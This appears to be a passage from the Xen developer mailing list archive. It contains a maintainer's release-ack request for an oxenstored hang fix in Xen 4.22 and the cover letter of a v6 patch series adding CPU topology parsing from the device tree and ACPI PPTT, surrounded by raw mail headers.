 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <1783598431.8631fc262581453bbf619ec5b2062170.19f46c03b15000edb5@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO3P265CA0027.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:387::17) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|LV3PR03MB7456:EE_
X-MS-Office365-Filtering-Correlation-Id: 36e4f7c8-d7ec-45f4-25d6-08dee1926f57
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|23010399003|376014|366016|4133799003|22082099003|56012099006|11063799006|5023799004|6133799003|18002099003;
X-Microsoft-Antispam-Message-Info:
	Rg1Sz55qHsCU6AiF3LxOlS5JQ54PfP9YTJEUD8jUjTzl1Sl+/erowvnVxqOYuJh5yMqDLOw5N1s851vLFe4G+dBMBiDRNbHLmIiXHuTzqzNxSis3zadh7nTpHGEOrLEZXyrRhdPeG9AchbNT03jGPTayFc7lW94/RbLWxR9TavceeBMU74MrjOY1N90DFePFTmQ0Y7miZsXWpyRsXBVqijyiPw954XpJQJQxTv5/tVc9OhMtbyoVpVcZwTHHAEO3CQQWbeCitbvszbjJfTfEMwPOt0YEOKyZg5Hj4Ppnjw8ODjz6qd3aODugWgit+PvNnbs/PHfRnrEP5rSWvmhDsdY0iFbp9tP8CwIBTL+t3w0JeAIyWesuelTvd/mocb0So8t8mzZ8DXGXPU+MTC437KdoHafDUv/Tx0sH/drl7lJWIononlXv2O8ZtbFJloQFmRFAvdS9IvMnG77+ACu4mq1fTm9xDFRUVjQJi25fEbXvazRGjWevAY9OquS3KOYfh9D8eoC/3RueTy4pnbiiqEjwwJGXePRxGMHa0Me8I2IIjLAZbVGjepKgSN7/+0yyIfqu3fH+EQd7FyWjO2S3a1IyhkLikMZCJZ3C2vM7LcEqGqeyBmJGrgY+J3mt/6Uy8Hv1iy2lF3MGxDzJO7Oqz9l2nVtGos1R/NqHbyxUia4=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(23010399003)(376014)(366016)(4133799003)(22082099003)(56012099006)(11063799006)(5023799004)(6133799003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?T2RSamdsUUFSK3Bxblp6cHp6c2ljWFZnbnluWklSeW9uSWo3c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rVnpVS2hOVGZUNm9qVkpFN2RycEoyWmVqdDZCWFdMdGxG?=
 =?utf-8?B?VCtmSWVSVTM2R3FQV1hqdUM1TVlocXJjL2xvYXRkdHRQczEwM3Q3YlZvRmph?=
 =?utf-8?B?T1Z6SDdpa0ZRYXRHUFNlVml6Y3Zab3g4ejQzZlpoZE0xWE9rNEo3TElhcFpa?=
 =?utf-8?B?clRDWHY3bXlPdW50aDU1dUdHRS9NSGRQdzZBRnRKM2RoUGZkN1k4c1VpMm52?=
 =?utf-8?B?dzAzaEpmTUNiSDY1ZStjR2pTNXIvalM0c2tpWFdTcnY2QVk1ME5jTE8weTFI?=
 =?utf-8?B?Rm5FeGV2dmx6ZDZSeENNN3c5bG9wdHViMEpsTlFjRStFZStieVpXdzhOd21N?=
 =?utf-8?B?MDlwa1pFeVdlWi9LbXMzUi8rYkJnUDRMWDFRbWNkMFY3Mk9HekFxblliNWVX?=
 =?utf-8?B?akhrWFl6ejZRQStmM080cWt6TnY1L1VoaEFjbWtiZEprV2Fad1B6d1lxTlM0?=
 =?utf-8?B?c2JwT0Fac2FNQkdwS3JwRkdibUZOemZxZXU4THo4dDU3NS8vN0hYYW5FdFBu?=
 =?utf-8?B?ZkxjREVOd3Y1eklUZnNPOWFjYmlKZnV0Y3NLT2REV2JORjdsSEpQUT09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 36e4f7c8-d7ec-45f4-25d6-08dee1926f57
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 14 Jul 2026 10:26:58.3417
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: jCDRPIU9MJ1CyMHKmKa+iTpl4ZEy7mOby44x4xbObVMNVIzn/sxdxTlsUDVSsbiFD5twDYW/tS9RDlOxB4mewhBCyL5ZuOVzB9JWpQZ5EUg=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: LV3PR03MB7456
X-purgate-ID: tlsNG-4011c0/1784024826-4A9D9CFC-7E40983A/0/0
X-purgate-type: clean
X-purgate-size: 1443

On 09/07/2026 1:00 pm, Andrii Sultanov wrote:
> Following the report at https://lore.kernel.org/xen-devel/CAFLBxZaeTMcF4tcV45MJdCVx4A6qbzQdjKei_Quh_iLrtARVFA@mail.gmail.com/
>
> Without this fix, the backend would be stuck waiting on the zero-sized
> body until the next request comes in.
>
> Instead return the request immediately after reading the header, there's
> no need to wait for another call to .has_more_input and .input
>
> Reported-by: George Dunlap <dunlapg@umich.edu>
> Signed-off-by: Andrii Sultanov <andriy.sultanov@vates.tech>

Oleksii: I'm requesting a release ack on this patch.Â  It has been
reviewed
(1783604323.8631fc262581453bbf619ec5b2062170.19f471a22b0000edb5@vates.tech
but on a disconnected thread).

There have been two bug reports so far; George (on list), and Benny (on
Matrix).

It is logically a regression vs 4.21.Â  A new feature in 4.22 causes `xl
list -l`, `xl migrate`, etc to hang when using the oxenstored rather
than (C)xenstored.

There was no reply at first because the security team were investigating
a potential security angle, but we've concluded that there isn't one.

Technically a form of this bug exists in 4.21 also, but it's not used
automatically on any path.Â  It's triggerable by `xl list -x` and nothing
else we're aware of.

Anyway, oxenstored is the default xenstored if you have Ocaml tools in
the build, so this is a critical bug in 4.22.

~Andrew


From xen-devel-bounces@lists.xenproject.org Tue Jul 14 10:45:26 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 10:45:26 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362124.1614033 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjadb-0005QM-7P; Tue, 14 Jul 2026 10:45:19 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362124.1614033; Tue, 14 Jul 2026 10:45:19 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjadb-0005QF-3s; Tue, 14 Jul 2026 10:45:19 +0000
Received: by outflank-mailman (input) for mailman id 1362124;
 Tue, 14 Jul 2026 10:45:18 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wjadZ-0005Q9-8W
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 10:45:18 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjadY-00AIjU-00
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 12:45:16 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a56132b-5cb7-0a2a0a5109dd-0a2a4504aef0-38
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 12:45:15 +0200
Received: from [52.101.229.129]
 (helo=TY3P286CU002.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a561338-b57f-0a2a45040019-3465e581e533-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 12:45:14 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TY6P286MB7347.JPNP286.PROD.OUTLOOK.COM (2603:1096:405:361::10)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.20; Tue, 14 Jul
 2026 10:45:09 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0202.014; Tue, 14 Jul 2026
 10:45:09 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=VFJQkijTrVXfdLpvVBjdSs5Lq0wXXHyFswr3v4wK1uRPSPNzfFvDKKXjBVVxfGVHfaFw7M5XdsolSE4hl8spG6ZRBDh1ZRS1cG9ixgFXVPlXyP/5L8mGGw4sgZ7fV++c162RoIbGQKcFBZBoInxuOXCXqUmv472060+X/m/KK+U7ZVWI5kfyqCRWWPTcjJ1ARvKg3qRCjfzntYCYP3hSJJiOgJqwurvmnFDJdKPEr1vaJyrNh+bNGKauSyABQ73QEy59QTHyu/JD3/vtphZn8r0ZDlb+HQgNWnl9KAOvrLBL0pEi6efVIHHT/SsL9rrBfpurVPc/J/K7Sc1heG7dng==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=efwH0gTVrUVp+UfbP7PWKyF+d/oXJQh0wkp3IWv4byk=;
 b=qj2XjJaDaQCMhXPdtwHwSMxhwRbTyyWnqNA8/xgyF3qxRbK/xH5yj45q5XIpK6u5F1XOL97K6TmJB57ooT6XUDexc3OwHLpsxIeAriaa6yfLYKHkcHKOjYi2UNsw/UZcoQNNIBRXHsC5vdHvpk5yH5q1h8XI8KwELaA6r6UetIG+i65UDXenFouansHPnHlO5Gh0odYcp+FqVbeB44YL1fn1psFs/iBICzGjXHuh/ag5Wwc1qxheLgI3uOtrioIJUab/RKeg5P8aWV3muLC0aNZ5IPBQnh0qXWNMMLDIa7EdQpZPjxP20WyJoylmbDzipXuXSNSiIzecZTuuyA9Q6g==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=efwH0gTVrUVp+UfbP7PWKyF+d/oXJQh0wkp3IWv4byk=;
 b=fvhwsYgDYNZF8j5NyHYa13NoltcbbngzmOMTUowGeHn/K0VRSXQHZU3eFsPuUwjB0UErfcJDmRZfAKddLKSFe4KAommg3rJBOZ+Zaf/wb4U1QvOfhO6dq8igWa8ZOPKI5mPuHOk40lwZLDkW+TRwrZ0dqly0D07Dynnm08Y09Og=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com,
	Hirokazu Takahashi <taka@valinux.co.jp>
Subject: [PATCH v6 0/5] xen/acpi,device-tree: Introduce generic CPU topology support for ACPI and DT
Date: Tue, 14 Jul 2026 19:44:40 +0900
Message-ID: <20260714104445.919830-1-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TY4P301CA0046.JPNP301.PROD.OUTLOOK.COM
 (2603:1096:405:36b::18) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|TY6P286MB7347:EE_
X-MS-Office365-Filtering-Correlation-Id: 5edcf241-77ea-455d-017e-08dee194f9b2
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|23010399003|1800799024|376014|10070799003|18002099003|25016099003|56012099006|3023799007|6133799003|29003799003;
X-Microsoft-Antispam-Message-Info:
	dVcIB7hdmrmrOifpwxD+ufe2EjuD+bNkaPM7xXQurGUsTsft+Q3oxFGWxO/nHy5HJp5QaCG+4zDVZr/cVfAxxMc97byyzcn/irEAB4xFePoYNHwd9T6jYKwZHhonOUX4DIeWJ5p2z3vJ3sFP5P3M5bgCR2mHjflwoiohvREXsDNz7lsf9CieVMU/ieJ8CHGMVnjKHoHif1xnhphTuAcz+OqaHm8FtwcQNpCf3uqodc7c1yZrASZ5zvrxme8Ul9SPeLsGer+C1O53Rvi9jH5xtx2nX0wsd+TgdYL+TOVsfxmouR+9XMXgS7v4o4jCbim4Vw9dc3xfuGLzzldIqWSbTCyh7bkyQBHeO82DKBGY3rU8XXVf86D0nh8d38tjM4upWR7vrmAyuf6M1ZoPq1my8UZMnG7IDQkVSVmdrgqBC0FKyvqfkjYRwiISQ93W1XBsSops9mji0weEr2QRi/kOzgLfoK/2qCr02s76a7ZrhEHnxleL4r1H/UdCuFS2ER8dxougoniNNIgXI/UlVKWKQJzVehmC3+gIHGGEf02RblldCdroY6aAVqulLVZyN4qMDiMZxFkrJpxQuwRisLR3kf5uMhfCBFUgHfJQ/zm82QAz5Eqty/vecE+eUWym+GyYB+gvXCne9qq44zFqC0aTLh1iTTqJhJt6LD9FXbw406s=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(1800799024)(376014)(10070799003)(18002099003)(25016099003)(56012099006)(3023799007)(6133799003)(29003799003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?jokSrhbKUbyzS+8VZOp88uUNO2F5hVY2ctiFKR34TKP8EdH73HbQklVmo1bT?=
 =?us-ascii?Q?4wP0L7czFXBtftmrnj/RAZ7DfI3AOB6MBRuLXSDDxy7Vv/55QnO/7p74gFE3?=
 =?us-ascii?Q?Z2cPwyganUBIBfzfgreSvmyr9gGlqk2MPDJM+1RX9uk2eAws0glH+2139RFI?=
 =?us-ascii?Q?4OjLQbmlG8vk3EYFLenqebgJuc4Bn5c8nsdAouoDoAAcjhl67E8eY354ggD3?=
 =?us-ascii?Q?h32LsGi95rBd6JCvClxxCxtYhRDmBRyLccYhpUpIIBnXKEdhTqpJSgzDOth5?=
 =?us-ascii?Q?mLPfpVvfx/3WoTGGSdDLKhAGJTeAe+YMoBCtkJzi0Q9seSFz8/FMx93N91wQ?=
 =?us-ascii?Q?Visz0g2Zmimq3DOnOq0ANS1fAoRDt0wJ754TlSqUKDTtrcWWmnNXSD3Z/hvF?=
 =?us-ascii?Q?U84NOBcr9caM/dLolm06PR6zr6SYl5ehr6I7x+lkffAJSRIlWTFaStFtVpAz?=
 =?us-ascii?Q?gJWz2d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LhrNO6tOeZk1Q1tnrsgVebdgQEvDtYsMxvjwBHX2Uuwlw?=
 =?us-ascii?Q?NIQbf8OdvhXKOYRcSxquSzc0mymmmFyjEEwNyij+djzc7u57eYBTrcM6UacK?=
 =?us-ascii?Q?x68bFkbqEom96XBqOqEaOjzklVRnEXA9eZhebKTTnq/RwQwJUWaEaubYTG//?=
 =?us-ascii?Q?4MXmP2shgAzYgu/HnLFpEEb1taQfaJXE8ilBwymzrVPJaC3hQU6Xb6iBAidl?=
 =?us-ascii?Q?hiDyLac0P/6GNz6PUFzaCELuCHW+7KuXqv/rSxDzBahr6GltSFLOdZlZdODj?=
 =?us-ascii?Q?866ojFU93RwEUTlcIaMyPJTO4f8YiHZiIaAxvILFOy2soI3Z71ptqlczvGbF?=
 =?us-ascii?Q?IIzO7fuIT0akY7OqpekxxHo9KYX72rvHn8HqWWmEssBrur+vMQpP2+IqEy/5?=
 =?us-ascii?Q?zxJXFNIAuBIKbIyZUAs1J23h93+Shf5FjZQApqGiQpNw4155432JkFc7Viy8?=
X-MS-Exchange-AntiSpam-MessageData-1: 0yqHNtw5Q3oaug==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 5edcf241-77ea-455d-017e-08dee194f9b2
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 14 Jul 2026 10:45:09.4457
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: 2Hjme5Be8unO8QoJi7t1Y4l4pMDiVjbvArwgpic1aUN6/NJWUnpdBgDEyVJOEWhKDgLW+rQlkweCI1uNkeNG9Q==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY6P286MB7347
X-purgate-ID: tlsNG-ebf023/1784025915-C22D4B50-B7AFF815/0/0
X-purgate-type: clean
X-purgate-size: 8895

Hello,

This patch series integrates CPU topology discovery into the Xen hypervisor
for both ACPI and Device Tree platforms. The primary goal is to make
accurate threading and socket information available to the Xen scheduler.

Changes in v6:
 - Renamed the series subject from "xen/arm: Device Tree based CPU topology
   support" to reflect the inclusion of generic ACPI PPTT topology parsing.

 - Infrastructure & Kconfig:
   * Updated Kconfig to make both DT_CPU_TOPOLOGY and ACPI_CPU_TOPOLOGY
     select GENERIC_CPU_TOPOLOGY.
   * Ensured that if topology parsing from either DT or ACPI PPTT fails, the
     CPU topology table is freed to fall back to the non-topology behavior.
   * Moved the `cpu_topology` definition to `cpu.c` so that variables and
     functions in `cpu-topology.c` can be completely freed after Xen init.

 - Topology Logic (DT / ACPI):
   * Set the cluster ID to 0 when the cluster definition is missing from the
     Device Tree `cpu-map` node.
   * Handled cases where cluster info is missing upon reaching a physical
     package in the PPTT parser by assuming one cluster per socket.
   * Split out the import of ACPI PPTT definitions from the Linux kernel
     (including unused definitions) into a separate standalone patch.

 - Robustness & Safety:
   * Avoided assuming `np` becomes NULL after exiting `dt_for_each_child_node()`;
     explicitly return NULL instead.
   * Added bounds-checking `ASSERT`s for values returned by `cpumask_first()`.
   * Added explicit braces `{}` to nested `if` statements to clarify `else`
     scoping and maintain style symmetry.
   * Enforced an upper limit on the PPTT parsing loop iterations to prevent
     infinite loops on corrupted tables.
   * Treat the absence of a physical package node definition in PPTT as a
     parsing error.

 - Optimization & Efficiency:
   * Optimized `setup_siblings_masks()` to eliminate redundant loop iterations.
   * Dynamically allocate the temporary data storage used during ACPI PPTT
     parsing.

 - Code Cleanup & Refactoring:
   * Replaced the `invalid_topo_id` constant with the `INVALID_TOPO_ID` macro.
   * Initialized all members of the `cpu_map` array with `INVALID_TOPO_ID`.
   * Added a blank line between `<xen/...>` and `<asm/...>` header groups.
   * Reordered `#ifdef` blocks to prioritize generic logic over architecture-
     specific ones.
   * Corrected code indentation.
   * Applied the `static` specifier to file-local data structures and functions.
   * Minimized the use of fixed-width `uint32_t` types, restricting its use only
     where strictly required by the 32-bit ACPI ID specification.
   * Declared `map_cpu_acpiid[]` as static and introduced the helper function
     `acpi_map_cpu_acpiid()` for managed access.
   * Renamed local variables to more intuitive names.
   * Simplified the implementation of `get_logical_id()`.
   * Refactored PPTT parsing to reduce type casting by using `container_of()`
     and switching from `char *` to `void *` pointers.
   * Removed redundant error checks.
   * Cleaned up unused variables and eliminated debug print statements.

Changes in v5:
 - Extracted CPU topology information from the ACPI PPTT.
 - Corrected the erroneous use of CONFIG_CPU_TOPOLOGY to
   CONFIG_GENERIC_CPU_TOPOLOGY.

Changes in v4:
 - Only display the CPU topology configuration prompt in common/Kconfig
   if the architecture defines HAS_GENERIC_CPU_TOPOLOGY.
 - Move the definition of the global 'cpu_topology' pointer to
   common/cpu-topology.c.
 - Update the Makefile to explicitly build objects as .init.o when all
   functions and data within a file are annotated with __init/__initdata,
   ensuring their memory is reclaimed after system initialization.
 - Add an error log in the CPU-to-node mapping function for out-of-bounds
   cases.
 - Use ARRAY_SIZE() instead of raw macros when guarding array accesses.
 - Rename variables and functions to avoid ambiguous or misleading terms:
   - Avoid 'cpuid' to prevent confusion with x86 CPUID features/instructions.
   - Avoid 'node' where it could be confused with a NUMA node, explicitly
     renaming them to clarify they refer to a Device Tree node.
 - Move local variable declarations into the narrowest possible scope.
 - Replace the unsupported "%pOF" printk format specifier with "%s" and
   explicit node name retrieval.
 - Remove #include <dt-cpu-topology.h> from cpu-topology.h, and ensure
   the header directly includes only what its definitions require.
 - Remove #include <xen/device_tree.h> from dt-cpu-topology.h, replacing
   it with a forward declaration of 'struct dt_device_node'.
 - Use 'const' qualifiers for pointer declarations where the pointed-to
   structure is not modified.
 - Explicitly #include <asm/processor.h> in cpu-topology.h to guarantee
   that arch-specific definitions of cpu_to_core() and cpu_to_socket()
   take precedence over the generic fallbacks.
 - Introduce inline initialization functions for cpu_sibling_mask and
   cpu_core_mask in cpu-topology.h, providing separate variants for both
   when CONFIG_GENERIC_CPU_TOPOLOGY is enabled and disabled.

Changes in v3:
 - Use (nr_cpu_ids - 1) as the maximum CPU ID here. The fix for the sparse
   map mismatch issue on ARM Xen has been split out into a separate patch.
 - Switch topology sibling masks to cpumask_var_t for dynamic allocation.
 - Allow the system to keep running with a degraded fallback even if
   the topology table allocation fails.
 - Remove the temporary definitions of cpu_to_core() and cpu_to_socket()
   from RISC-V and PPC processor.h.
 - Minimize the use of #ifdef blocks, leveraging compiler Dead Code
   Elimination (DCE) where possible.
 - Clean up the code to follow the Xen coding style. Please let me know
   if I missed any style nits!
 - Verify successful builds across x86, RISC-V, and PPC environments.

Changes in v2:
 - Generate topology information even when ACPI is enabled. Note that
   this is a temporary implementation and doesn't yet parse the PPTT
   (Processor Properties Topology Table).
 - Added support for cpu-map node in Device Tree that doesn't contain
   explicit cluster node definitions.

Changes in v1 from the previous series "Introduce Device Tree based NUMA
support for ARM Xen":

1. Optimized Memory Allocation:
   The series now allocates only the minimum required memory area to manage
   the essential data for the CPUs.

2. Flexible Device Tree Parsing:
   The parsing logic no longer depends on the definition order of the 'cpu'
   nodes and 'cpu-map' nodes in the Device Tree. They can now be read
   correctly even if their orders do not match.

3. CPU Hotplug Readiness:
   To support future CPU hotplug, the system assumes that inactive CPUs are
   also described in the Device Tree. Xen will pre-load and generate the
   topology information for these inactive CPUs during the boot phase so
   it stays available in memory.

Thank you,
Hirokazu Takahashi

Hirokazu Takahashi (5):
  xen/device-tree: Parse 'cpu-map' node for CPU topology exploration
  xen/sched: Link CPU topology to scheduler
  xen/sched: Make cpu_nr_siblings() architecture-specific
  xen/acpi: Import PPTT definitions from Linux
  xen/acpi: Parse PPTT to initialize CPU topology

 xen/arch/arm/Kconfig                   |   1 +
 xen/arch/arm/acpi/boot.c               |   2 +
 xen/arch/arm/include/asm/acpi.h        |   2 +
 xen/arch/arm/include/asm/processor.h   |   4 -
 xen/arch/arm/smpboot.c                 |  15 +-
 xen/arch/ppc/include/asm/processor.h   |   4 -
 xen/arch/riscv/include/asm/processor.h |   4 -
 xen/arch/x86/include/asm/processor.h   |   1 +
 xen/common/Kconfig                     |  22 ++
 xen/common/Makefile                    |   1 +
 xen/common/cpu-topology.c              |  65 ++++
 xen/common/cpu.c                       |   5 +
 xen/common/device-tree/Makefile        |   1 +
 xen/common/device-tree/cpu-topology.c  | 408 +++++++++++++++++++++++++
 xen/common/sched/credit2.c             |  21 +-
 xen/common/sysctl.c                    |   1 +
 xen/drivers/acpi/Kconfig               |   3 +
 xen/drivers/acpi/Makefile              |   1 +
 xen/drivers/acpi/topology.c            | 269 ++++++++++++++++
 xen/include/acpi/actbl2.h              | 113 +++++++
 xen/include/xen/acpi.h                 |  15 +
 xen/include/xen/cpu-topology.h         |  83 +++++
 xen/include/xen/dt-cpu-topology.h      |  35 +++
 23 files changed, 1040 insertions(+), 36 deletions(-)
 create mode 100644 xen/common/cpu-topology.c
 create mode 100644 xen/common/device-tree/cpu-topology.c
 create mode 100644 xen/drivers/acpi/topology.c
 create mode 100644 xen/include/xen/cpu-topology.h
 create mode 100644 xen/include/xen/dt-cpu-topology.h

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 14 10:45:45 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 10:45:45 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362129.1614043 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjae1-0005mw-G5; Tue, 14 Jul 2026 10:45:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362129.1614043; Tue, 14 Jul 2026 10:45:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjae1-0005mp-BI; Tue, 14 Jul 2026 10:45:45 +0000
Received: by outflank-mailman (input) for mailman id 1362129;
 Tue, 14 Jul 2026 10:45:43 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wjadz-0005mR-Hm
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 10:45:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjady-00HHZm-Up
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 12:45:42 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a561351-2eae-0a2a0a5409dd-0a2a4509a954-6
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 12:45:39 +0200
Received: from [52.101.125.100]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a561350-be1a-0a2a45090019-34657d6404e0-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 12:45:38 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TY6P286MB7347.JPNP286.PROD.OUTLOOK.COM (2603:1096:405:361::10)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.20; Tue, 14 Jul
 2026 10:45:34 +0000
